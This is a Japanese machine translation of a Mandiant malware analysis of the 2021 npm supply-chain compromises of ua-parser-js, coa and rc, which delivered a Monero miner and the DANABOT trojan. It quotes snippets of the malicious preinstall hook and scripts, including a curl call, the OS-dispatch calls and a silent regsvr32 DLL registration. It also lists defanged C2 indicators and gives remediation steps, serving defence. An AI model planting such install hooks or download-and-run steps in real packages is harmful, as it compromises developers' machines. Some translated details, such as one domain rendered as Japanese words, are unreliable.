同伴者のいない採掘者はいません: Node.js パッケージによるサプライ チェーンの侵害

Stages of infection via a malicious/compromised developer library news

2021 年 10 月中旬以降、 Mandiant Managed Defenseは、Node.js JavaScript プラットフォームのパッケージ マネージャーである Node Package Manager (NPM) でホストされているパッケージが関与するサプライ チェーン侵害の複数のインスタンスを特定しました。人気のある正当なパッケージになりすます。後者は、タイポスクワッティングとして知られる手法です。 NPM モジュールは、開発者の間で人気があるため、攻撃者にとって貴重な標的です。また、複雑な依存関係が広く普及しており、あるパッケージが別のパッケージを依存関係としてインストールすることが多く、開発者の知識がありません。さらに、NPM リポジトリ npmjs.com では、NPM パッケージ内のコードが、リンクされた GitHub リポジトリ内のコードと同じである必要はありません。これは、GitHub リポジトリを危険にさらす必要がないことを意味します。 NPM パッケージのみ。

Mandiant は複数の脅威グループがこれらの種類の侵害を利用していると評価していますが、多作な攻撃者 UNC3379 が 1 人います。その活動については後述します。

サプライチェーンの妥協

開発者が使用する人気のあるパッケージを侵害することで、悪意のあるコードの配布を直接被害者自身に大規模に拡大することが容易になります。これは、依存関係の混乱、脆弱な資格情報の乗っ取り、脆弱性を悪用してターゲット コードにアクセスすること、または開発者によって放棄されたパッケージの名前を使用することによって実行できます。たとえば、2018 年には、NPM モジュール「flatmap-stream」が侵害され、暗号通貨を盗むマルウェアが配信されました。このモジュールは、より人気のあるライブラリ「event-stream」の依存関係として使用されました。そうすることで、攻撃者は最小限の労力で大規模な侵害を達成することができました。図 1 は、この攻撃に対する攻撃者のプロセスを示す概要図です。

Stages of infection via a malicious/compromised developer library
図 1: 悪意のある/侵害された開発者ライブラリを介した感染の段階

図 1 に示すように、悪意のある/侵害された開発者ライブラリを介した感染の段階は次のとおりです。

  1. 攻撃者は、オープンソースのインテリジェンス収集を通じて、ビルド パイプラインとコード ベースに関する情報を収集します。
  2. 攻撃者は、カスタム パッケージをビルドして公開します。
  3. パイプラインは最新のパッケージを取得し、検証なしでデプロイします。
  4. 暗号通貨のウォレット情報や資格情報などの機密情報を攻撃者が収集できる悪意のあるコードが展開されます。

サプライ チェーン攻撃は新しいものではありません。 2017 年、世界は NotPetya と呼ばれる攻撃に見舞われました。ランサムウェアに偽装されたこの悪意のあるコードは、NSA が漏えいした EternalBlue の脆弱性を悪用してネットワークに侵入し、データを体系的に破壊しました。 NotPetya の背後にいる攻撃者は、ウクライナ政府のサプライヤーである金融サービス ソフトウェア会社に侵入しました。

同じ年に、ユーティリティ CCleaner が侵害を受け、ハッカーがソフトウェアの正規バージョンを悪意のあるバージョンに置き換えることができ、その結果、200 万を超えるホストが侵害されました。

2020 年、ロシアの戦略的利益と一致していると評価されている脅威アクターである UNC2452 は、SolarWinds コンポーネントを利用して広範囲にわたるサプライ チェーン攻撃を実行しました。 UNC2452 の影響を受けた被害者には、政府機関やフォーチュン 500 企業が含まれていました。攻撃者は再び、ソフトウェア コンポーネント Orion にバックドア コードを挿入してサプライ チェーンを標的にし、被害者の内部環境へのアクセスを可能にし、更新されたコードが正当なプロセスを通じて配布された後にSUNBURST マルウェアを展開しました。 Mandiantは、この攻撃を最初検出して調査しました

テーマのもう 1 つのバリエーションは、NPM パッケージでこの場合に起こったように、オープンソース リポジトリのポイズニングです。 NPM パッケージは、悪意のあるアクターとセキュリティ リサーチャーの両方によって、この問題に対する認識を高めることを目的として悪用されてきました。

スポットライト: UNC3379

ua-parser-js の侵害

2021 年 10 月 22 日約 12:15 UTC に提起されたGitHub の問題によると、NPM パッケージ「ua-parser-js」は、1 週間あたり 700 万回以上のダウンロードを蓄積した人気の Node.js ライブラリであり、配信するために侵害されました。脅威アクターは、作成者の NPM アカウントを乗っ取ることにより、パッケージの 3 つの悪意のあるバージョンを公開することができました.リポジトリの Git ログによると、10 月 22 日の 16:14 UTC から 16:25 UTC の間に、パッケージの作成者はサニタイズされたファイルをコミットしました。悪意のあるパッケージのバージョンを修正して、さらなる侵害を阻止します。

Mandiant は、複数の組織や業界のシステムで同一のアクティビティを検出し、対応しました。 Mandiant は、この活動のクラスターをUNC3379として追跡します。 Mandiant Managed Defenseは、検出された侵入を調査するだけでなく、お客様の環境をプロアクティブに検索して、追加の悪を明らかにしました。

「ua-parser-js」は、Web アプリケーションまたはサーバー側アプリケーション内にデプロイされた軽量の小さなフットプリント パッケージであり、ユーザー エージェント文字列 (つまり、ブラウザー、エンジン、OS、CPU、およびデバイス) を解析するために必要な関連データを抽出およびフィルター処理します。 )。

この侵害では、UNC3379 が複数の悪意のあるスクリプトをパッケージに追加し、最終的にはオペレーティング システムに応じて、Monero コイン マイナーとDANABOTとして知られるバンキング トロイの木馬の両方をダウンロードして実行することになります。 「ua-parser-js」の侵害されたバージョンは、バージョン「0.7.29」、「0.8.0」、および「1.0.0」でした。

パッケージに追加された悪意のあるスクリプトの分析

感染は、パッケージのインストールのみによって引き起こされました。 「package.json」ファイルのディレクティブ「preinstall」は、実際のインストール プロセスが開始される前にカスタム スクリプトを実行するために使用されました。実行されたスクリプトは「preinstall.js」という名前でした。

package.json:145:    "preinstall": "start /B node preinstall.js & nodepreinstall.js",

スクリプト「preinstall.js」は、基盤となるオペレーティング システムを特定するためのチェックを実行しました。

  • Windows – cmd.exe を使用して「preinstall.bat」を実行します

preinstall.js:23:    const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);

  • Linux – bash を使用して「preinstall.sh」を実行します

preinstall.js:4:    exec("/bin/bash preinstall.sh", (error, stdout, stderr) => {

  • Mac OSX – 実行なし

シェル スクリプト「preinstall.sh」は、被害者の地理的な場所をチェックしました。

preinstall.sh:1: IP=$(curl -k hxxps://freegeoip.app/xml/ | grep 'RU|UA|BY|KZ')

被害者がロシア、ウクライナ、ベラルーシ、またはカザフスタンにいた場合、スクリプトはその実行を終了しました。それ以外の場合は、プロセス「jsextension」がホストにすでに存在するかどうかの確認に進みました。次にスクリプトは、curl を使用して IP アドレス「159.148.186[.]228」からリソース「jsextension」を取得しようとし、curl を使用したダウンロードが失敗した場合は wget を使用しました (図 2)。実行可能ファイル「jsextension」は、Monero コイン マイナーであり、後にウォレット用の Monero 暗号通貨をマイニングする目的で実行されました: 49ay9Aq2r3diJtEk3eeKKm7pc5R39AKnbYJZVqAd1UUmew6ZPX1ndfXQCT16v4trWp4erPyXtUQZTHGjbLXWQdBqLMxxYKH マイニング プール MineXMR を使用します。

preinstall.sh – jsextension のダウンロードと実行
図 2: preinstall.sh – jsextension のダウンロードと実行

Linux 版とは異なり、Windows スクリプト「preinstall.bat」には地理的なチェックがありませんでした。代わりに、「curl.exe」または「curl.exe」が失敗した場合は「wget.exe」を使用して、IP アドレス「159.148.186[.]228」からリソースの取得を試みました。どちらも失敗した場合は、最終的に「certutil.exe」を利用してリモート ペイロードをダウンロードします (図 3)。ダウンロードされたリソース「jsextension.exe」は、Windows バージョンの Monero コイン マイナーであり、Linux 版と同じパラメーターで実行されました。さらに、スクリプトは、URL「hxxps://citationsherbe[.]at/sdd.dll」からリソースをダウンロードし、プロジェクトの「node_modules/ua-parser」にある「create.dll」というファイル名でディスクに保存しようとしました。 -js” ディレクトリ。Mandiant 分析により、この DLL は、構成に次のコマンド アンド コントロール (C2) サーバーが含まれる DANABOT と一致することが明らかになりました。

  • 185.158.250[.]216:443
  • 45.11.180[.]153:443
  • 194.76.225[.]46:443
  • 194.76.225[.]61:443
preinstall.bat – 「jsextension.exe」と「create.dll」のダウンロード
図 3: preinstall.bat – 「jsextension.exe」と「create.dll」のダウンロード

スクリプトはその後、ネイティブ バイナリ「tasklist.exe」を利用して、システム上で実行中のプロセスを列挙し、コイン マイナーと DANABOT DLL の両方を実行する前に、コイン マイナーの実行可能ファイル「jsextension.exe」がすでに実行されているかどうかを確認しました。このスクリプトは、regsvr32.exe を利用してコマンド「regsvr32.exe -s create.dll」で DANABOT DLL (「create.dll」) をサイレントに登録することで、DANABOT の実行を試みました (図 4)。

preinstall.bat – 「jsextension.exe」と「create.dll」の実行
図 4: preinstall.bat – 「jsextension.exe」と「create.dll」の実行

ua-parser-js は以前にターゲットにされていました

NPM モジュール「ua-parser-js」が標的にされたのはこれが初めてではありません。2021 年 10 月 14 日、「klown」という悪意のある NPM モジュールが「npmjs.org」にアップロードされました(図 5)。ブランディング、リポジトリ リンク、ホームページ、ドキュメントを利用し、さらには Web サイト「contrib.rocks」を利用して「ua-parser-js」へのすべての貢献者の画像を収集することにより、正規の「ua-parser-js」モジュールになりすまそうとしました。 npmjs.org から削除される前に、この悪意のあるパッケージはすでに 23 回ダウンロードされていました。Mandiant は、戦術の大きな重複に基づいて、責任のある攻撃者が UNC3379 であると確信を持って評価しています。 Mandiant は、10 月 22 日に実際のパッケージが侵害される前に、このモジュールのなりすましがマルウェア配信をテストする機会になったと評価しています。

「klown」パッケージの npmjs.org ページ。
図 5: 「klown」パッケージの npmjs.org ページ。

この特定の例では、悪意のあるパッケージは、URL「hxxp://185.173.36[.]219/download/jsextension.exe」からダウンロードされた同じ Monero マイナー (MD5: fc724eb2894f34a3aca4b952d2f816cd) も展開しました。 「preinstall.bat」という名前です。

Coa & rc モジュールの妥協

攻撃の別の反復では、NPM パッケージ「coa」と「rc」が、「ua-parser-js」に対して観察されたのと同様の方法で標的にされました。このコードは、2021 年 10 月 22 日の攻撃で以前に見られた、DANABOT DLL のわずかに変更されたバージョンをダウンロードして実行するように設計されています。悪意のあるパッケージが発見された後、NPM セキュリティ チームは、侵害されたパッケージの「coa」および「rc」バージョンを削除しました。

Mandiant Managed Defenseは、これらのパッケージが利用された侵害を特定し、対応しました。パッケージ「rc」の悪意のあるバージョンは、「ヒント」NPM パッケージの依存関係としてホストに存在し、被害者のプロジェクトの 1 つで使用されていました (図 6)。

パッケージ「hint」とハイジャックされた依存パッケージ「rc」バージョン 2.3.9 の関係を示す依存関係ツリー
図 6: パッケージ「hint」とハイジャックされた依存関係パッケージ「rc」バージョン 2.3.9 との関係を示す依存関係ツリー

これは、NPM パッケージで使用される依存関係の再帰的な性質により、悪意のあるパッケージがユーザーの知らないうちに簡単に配信される可能性があるという事実を示しています。 1 つのアプリケーションは、アプリケーション ビルド プロセスの一部としてコード内に組み込まれた数十のパッケージを持つことができます。

悪意のあるパッケージがダウンロードされたかどうかを確認する方法

NPM コマンド ライン ツールを使用して、パッケージの特定のバージョンが以前にダウンロードされたかどうかを確認できます。提示された事例について、関連する悪意のあるバージョンはそれぞれ次のとおりです。

  • ua-parser-jsバージョン 0.7.29、0.8.0、1.0.0
  • coaバージョン 2.0.3、2.0.4、2.1.1、2.1.3、3.1.3
  • rcバージョン 1.2.9、1.3.9、2.3.9

コマンド npm cache lsは、フェッチされたパッケージの履歴をバージョンとともに表示します。

# npm cache ls rc

make-fetch-happen:request-cache:https://registry.npmjs.org/rc

make-fetch-happen:request-cache:https://registry.npmjs.org/rc/-/rc-1.2.8.tgz

 コマンド「 npm cache ls rc 」の出力は、ダウンロードされた「rc」パッケージのバージョン (この場合は 1.2.8 ) を明らかにします

さらに、パッケージで使用されている依存関係の完全なツリーを表示するには、パッケージ ディレクトリからコマンドnpm ls –a」を起動します。

結論

サプライ チェーンの侵害は、サード パーティ プロバイダーの信頼を悪用して、被害者の環境に間接的にアクセスするように設計されており、検出が困難な場合があります。 Mandiant Managed Defenseは、サプライ チェーンの侵害に起因する脅威についてお客様を積極的かつ一貫して監視することで、この種の悪を発見し、お客様の環境内に悪意のあるパッケージがインストールされた場合の修復を支援することができました。この結果、Mandiant は、最初の侵害以降、どの顧客に対しても悪意のある活動を特定しませんでした。

予防と修復

  • 上記のパッケージのいずれかが環境内に存在することを確認します。
  • インストールされている「coa」パッケージのバージョンが、執筆時点で最新の安定版である 2.0.2 であることを確認してください。
  • インストールされている「rc」パッケージのバージョンが、執筆時点で最新の安定版である 1.2.8 であることを確認してください。
  • インストールされている「ua-parser-js」パッケージのバージョンが、執筆時点で最新の安定版である 0.7.30、0.8.1、または 1.0.1 であることを確認してください。
  • このブログ投稿で詳述されている悪意のあるファイルが環境に存在するかどうかを確認し、それらを削除します (IOC セクションを参照)。
  • シークレットやクレデンシャルは、感染したホスト上で侵害され、変更されたと見なす必要があります。
  • 悪意のある可能性のある新しいパッケージの自動インストールを防ぐために、パッケージのバージョン番号をロックすることを検討してください

マルウェアの定義 

利用可能

DANABOT は Delphi で記述されたバックドアであり、TCP を介してカスタム バイナリ プロトコルを使用して通信します。バックドアはプラグイン フレームワークを実装しており、ダウンロードしたプラグインを介して機能を追加できます。 DANABOT の機能には、VNC または RDP プラグインを使用した完全なシステム制御、ビデオとスクリーンショットのキャプチャ、キーロギング、任意のシェル コマンドの実行、およびファイル転送が含まれます。 DANABOT のプロキシ プラグインを使用すると、対象の Web サイトに関連するネットワーク トラフィックをリダイレクトまたは操作できます。この機能は、資格情報や支払いデータを取得するためによく使用されます。 DANABOT は、Web ブラウザーおよび FTP クライアントに関連付けられた保存済みの資格情報を抽出することもできます。

MITRE ATT&CK マッピング

ATT&CK戦術カテゴリ

テクニック

資源開発

T1608.003: ステージ機能: デジタル証明書のインストール

最初の妥協

T1195.002: サプライ チェーン侵害: ソフトウェア サプライ チェーンの侵害

実行

T1059: コマンドおよびスクリプト インタープリター

T1059.003: コマンドおよびスクリプト インタープリター: Windows コマンド シェル

防御回避

T1218.010: 署名付きバイナリとプロキシ実行: Regsvr32

T1055: プロセス インジェクション

T1497.001: 仮想化/サンドボックス回避: システム チェック

T1027: 難読化されたファイルまたは情報

発見

T1518: ソフトウェア検出

T1057: プロセス検出

コマンドと制御

T1573.002: 暗号化されたチャネル: 非対称暗号化

T1105: Ingress ツール転送

T1071.004: アプリケーション層プロトコル: DNS

影響

T1496: リソースハイジャック

IOC

IOC

ノート

MD5

パッケージ.json

Conf JSON (ua-parser-js)

13f840772c7c04c7d2f4c202ff957b0c

preinstall.js

Javascript (ua-parser-js)

a4668a1b3f23b79ef07d1afe0152999e

preinstall.sh

シェルスクリプト (ua-parser-js)

de8b54a938ac18f15cad804d79a0e19d

preinstall.bat

cmd スクリプト (ua-parser-js)

d98a3013336b755b739d285a58528cbe

sdd.dll

ダナボット DLL (ua-parser-js)

de8b54a938ac18f15cad804d79a0e19d

jsextension.exe

コインマイナー (ua-parser-js)

fc724eb2894f34a3aca4b952d2f816cd

185.158.250[.]216

C2 IP アドレス (ua-parser-js)

/

45.11.180[.]153

C2 IP アドレス (ua-parser-js)

/

194.76.225[.]46

C2 IP アドレス (ua-parser-js)

/

194.76.225[.]61

C2 IP アドレス (ua-parser-js)

/

159.148.186[.]228

コイン マイナー (ua-parser-js) をホストする IP アドレス

/

citationsherbe[.]at

Danabot DLL (ua-parser-js) をホストするドメイン

/

sdd.dll

ダナボット DLL (coa)

9c6664390b305a8aeeec859ab8169095

sdd.dll

ダナボット DLL (rc)

429dd6c558041f945d00ba70261117f6

牧師の暗号[.]で

Danabot DLL (coa および rc) をホストするドメイン

/

185.117.90[.]36

C2 IP アドレス (coa および rc)

/

193.42.36[.]59

C2 IP アドレス (coa および rc)

/

185.106.123[.]228

C2 IP アドレス (coa および rc)

/

193.56.146[.]53

C2 IP アドレス (coa および rc)

/

謝辞

Andrew Rector、Bryce Abdo、Cian Lynch、Nader Zaveri、Yash Gupta のこのトピックに関する支援に特に感謝します。

参考: https ://www.mandiant.com/resources/blog/supply-chain-node-js

Comments

Copied title and URL